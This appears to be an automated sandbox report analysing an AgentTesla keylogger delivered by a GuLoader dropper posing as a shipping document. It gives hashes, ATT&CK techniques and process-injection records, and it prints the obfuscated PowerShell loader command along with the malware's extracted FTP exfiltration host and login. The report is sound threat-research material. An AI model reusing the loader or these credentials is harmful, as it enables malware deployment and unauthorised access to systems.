agenttesla | 3fe8f843e696c1dacbdcabed38d7132776915d89b60ac10c68fda048cbfe044f

General

Target

Shipping documents 000022999878999800009999.exe
Size

712KB
MD5

4ecafa8f623606caf0a925f5c6b2eb10
SHA1

59cb79183b9547b3915c8aa09ed904f84bcab22c
SHA256

3fe8f843e696c1dacbdcabed38d7132776915d89b60ac10c68fda048cbfe044f
SHA512

d1dc9a1af2fdf373893a99f16a6cbe7cf0f5c9c3b77936c8535ad0bba226542c132f562b30551d9c10ee2ef249160e8af85867ed3b2601198709d0e977a26323
SSDEEP

12288:ffLdembnSidCbvZROJ9cDGUugE6X12xKSl1a3qmFLgoXFDsiJjWlWVB0mPH4V:ffLNnSs8r4yDGOE6X12De6mF3XF4i7X2

Score

10^/10

agenttesla guloader discovery downloader execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.concaribe.com
Port:
21
Username:
[email protected]
Password:
ro}UWgz#!38E

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Loads dropped DLL 1 IoCs

pid	Process
2376	Shipping documents 000022999878999800009999.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	api.ipify.org
27	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4932	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
712	powershell.exe
4932	wabmig.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 712 set thread context of 4932	712	powershell.exe	91

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
712	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Shipping documents 000022999878999800009999.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2376	Shipping documents 000022999878999800009999.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
712	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe
4932	wabmig.exe
4932	wabmig.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
712	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	712	powershell.exe
Token: SeDebugPrivilege	4932	wabmig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2376 wrote to memory of 712	2376	Shipping documents 000022999878999800009999.exe	82
PID 2376 wrote to memory of 712	2376	Shipping documents 000022999878999800009999.exe	82
PID 2376 wrote to memory of 712	2376	Shipping documents 000022999878999800009999.exe	82
PID 712 wrote to memory of 4932	712	powershell.exe	91
PID 712 wrote to memory of 4932	712	powershell.exe	91
PID 712 wrote to memory of 4932	712	powershell.exe	91
PID 712 wrote to memory of 4932	712	powershell.exe	91
PID 712 wrote to memory of 4932	712	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\Shipping documents 000022999878999800009999.exe
"C:\Users\Admin\AppData\Local\Temp\Shipping documents 000022999878999800009999.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2376
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\Admin\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:712
- - C:\Program Files (x86)\windows mail\wabmig.exe
    "C:\Program Files (x86)\windows mail\wabmig.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kvj2ql42.g5h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsnB4BA.tmp\nsExec.dll

Filesize
7KB

MD5
b4579bc396ace8cafd9e825ff63fe244

SHA1
32a87ed28a510e3b3c06a451d1f3d0ba9faf8d9c

SHA256
01e72332362345c415a7edcb366d6a1b52be9ac6e946fb9da49785c140ba1a4b

SHA512
3a76e0e259a0ca12275fed922ce6e01bdfd9e33ba85973e80101b8025ef9243f5e32461a113bbcc6aa75e40894bb5d3a42d6b21045517b6b3cf12d76b4cfa36a

Download Submit
C:\Users\Admin\AppData\Local\acneform\Baroco\Andenhaandsvidens.Typ

Filesize
302KB

MD5
b563202661cae7352789d2700253d473

SHA1
1474ac798166df321c9f518f27ba4937b7b49f9a

SHA256
803ff2da19a7e7ad2182e0cbe2e3b3fd79bb998259b8dd5ebca7e305677d90fd

SHA512
f27e1403772aea0069b50631fe3da1c64966d8f18bdc54278c55d80212cfeb66afea659fd28c97334406935454201c25c01c93364ea0d2f742f53402adf8ab38

Download Submit
C:\Users\Admin\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla

Filesize
70KB

MD5
d44af3867fa92ac621815b9deb75c8df

SHA1
71da815c2858476eece49e9f2adc54f8c6b69383

SHA256
887a1a4bf80ba10088a729662e66f7322b08e7a119f50a805af6acf110827375

SHA512
19e56b70f0a3663570007f4532960e43982176658932a97a7a1cd85d063ed47675ca0d41901994a0e9cf50c3a709d4ce038f006a1e82f3058533d2013c67e5be

Download Submit
memory/712-36-0x00000000739A0000-0x0000000074150000-memory.dmp

Filesize
7.7MB

Download
memory/712-10-0x00000000739AE000-0x00000000739AF000-memory.dmp

Filesize
4KB

Download
memory/712-15-0x0000000005720000-0x0000000005786000-memory.dmp

Filesize
408KB

Download
memory/712-16-0x0000000005790000-0x00000000057F6000-memory.dmp

Filesize
408KB

Download
memory/712-12-0x00000000739A0000-0x0000000074150000-memory.dmp

Filesize
7.7MB

Download
memory/712-22-0x0000000005800000-0x0000000005B54000-memory.dmp

Filesize
3.3MB

Download
memory/712-27-0x0000000005E30000-0x0000000005E4E000-memory.dmp

Filesize
120KB

Download
memory/712-28-0x0000000005E70000-0x0000000005EBC000-memory.dmp

Filesize
304KB

Download
memory/712-29-0x0000000006E00000-0x0000000006E96000-memory.dmp

Filesize
600KB

Download
memory/712-30-0x0000000006310000-0x000000000632A000-memory.dmp

Filesize
104KB

Download
memory/712-31-0x0000000006370000-0x0000000006392000-memory.dmp

Filesize
136KB

Download
memory/712-32-0x0000000007490000-0x0000000007A34000-memory.dmp

Filesize
5.6MB

Download
memory/712-13-0x0000000004F10000-0x0000000005538000-memory.dmp

Filesize
6.2MB

Download
memory/712-34-0x00000000080C0000-0x000000000873A000-memory.dmp

Filesize
6.5MB

Download
memory/712-11-0x00000000048A0000-0x00000000048D6000-memory.dmp

Filesize
216KB

Download
memory/712-37-0x00000000739A0000-0x0000000074150000-memory.dmp

Filesize
7.7MB

Download
memory/712-38-0x00000000739A0000-0x0000000074150000-memory.dmp

Filesize
7.7MB

Download
memory/712-14-0x0000000005580000-0x00000000055A2000-memory.dmp

Filesize
136KB

Download
memory/712-40-0x00000000739A0000-0x0000000074150000-memory.dmp

Filesize
7.7MB

Download
memory/712-41-0x00000000739AE000-0x00000000739AF000-memory.dmp

Filesize
4KB

Download
memory/712-42-0x00000000739A0000-0x0000000074150000-memory.dmp

Filesize
7.7MB

Download
memory/712-43-0x0000000008740000-0x000000000D12D000-memory.dmp

Filesize
73.9MB

Download
memory/712-44-0x00000000739A0000-0x0000000074150000-memory.dmp

Filesize
7.7MB

Download
memory/712-46-0x00000000739A0000-0x0000000074150000-memory.dmp

Filesize
7.7MB

Download
memory/712-48-0x00000000739A0000-0x0000000074150000-memory.dmp

Filesize
7.7MB

Download
memory/4932-47-0x00000000021E0000-0x0000000006BCD000-memory.dmp

Filesize
73.9MB

Download
memory/4932-49-0x0000000077611000-0x0000000077731000-memory.dmp

Filesize
1.1MB

Download
memory/4932-50-0x0000000000F80000-0x00000000021D4000-memory.dmp

Filesize
18.3MB

Download
memory/4932-51-0x0000000000F80000-0x0000000000FC2000-memory.dmp

Filesize
264KB

Download
memory/4932-52-0x00000000252F0000-0x0000000025340000-memory.dmp

Filesize
320KB

Download
memory/4932-53-0x00000000253E0000-0x0000000025472000-memory.dmp

Filesize
584KB

Download
memory/4932-54-0x00000000252D0000-0x00000000252DA000-memory.dmp

Filesize
40KB

Download
memory/4932-56-0x0000000077611000-0x0000000077731000-memory.dmp

Filesize
1.1MB

Download

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